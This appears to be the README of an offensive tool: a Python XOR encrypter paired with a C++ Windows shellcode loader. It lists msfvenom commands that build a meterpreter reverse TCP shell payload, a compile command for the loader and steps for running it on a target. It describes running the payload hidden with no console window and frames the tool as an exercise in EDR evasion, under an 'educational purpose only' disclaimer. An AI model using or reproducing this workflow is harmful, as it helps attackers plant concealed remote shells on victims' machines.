Python Encrypter + C++ Loader
- XOR encryption with 8-byte rotating key
- External payload loading (data.bin)
- Process detachment : Spawns independent background process (no console window)
- Memory protection
ShellcodeLoaderEncrypter.py : XOR encryption script
ShellcodeLoader.cpp : Windows loader
test payload
msfvenom -p windows/x64/exec cmd=calc.exe -f raw -o payload.binreverse shell
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=_ LPORT=_ -f raw -o payload.binpython3 ShellLoaderEncrypter.py payload.binoutput:
data.bin : encrypted payload
x86_64-w64-mingw32-g++ ShellcodeLoader.cpp -o loader.exe -O2 -s -static -mwindowscopy loader.exe and data.bin to target, then run:
C:\> loader.exeMIT License - Educational purpose only
- security research and education
- authorized penetration testing engagements
- Malware analysis and defense training
- Understanding EDR evasion concepts